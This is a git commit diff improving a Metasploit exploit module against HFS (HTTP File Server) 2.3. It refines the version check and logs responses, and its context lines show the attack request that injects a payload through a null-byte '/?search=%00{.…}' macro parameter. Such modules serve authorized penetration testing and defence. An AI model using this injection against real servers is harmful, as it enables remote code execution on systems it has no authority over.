Improve check method
parent
25344aeb6a
commit
d90fe4f724
|
@ -60,11 +60,16 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'uri' => '/'
|
||||
})
|
||||
|
||||
if res && res.headers['Server'] && res.headers['Server'] =~ /HFS 2\.3/
|
||||
if res && res.headers['Server'] && res.headers['Server'] =~ /HFS ([\d.]+)/
|
||||
version = $1
|
||||
if Gem::Version.new(version) <= Gem::Version.new("2.3")
|
||||
return Exploit::CheckCode::Detected
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def on_request_uri(cli, req)
|
||||
|
@ -98,10 +103,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
print_status("Sending a malicious request to #{target_uri.path}")
|
||||
payloads.each do |payload|
|
||||
send_request_raw({
|
||||
res = send_request_raw({
|
||||
'method' => 'GET',
|
||||
'uri' => "/?search=%00{.#{URI::encode(payload)}.}"
|
||||
})
|
||||
if res
|
||||
print_status("#{res.code}\n#{res.body.to_s}")
|
||||
end
|
||||
end
|
||||
register_file_for_cleanup("#{datastore['SAVE_PATH']}#{file_full_name}")
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue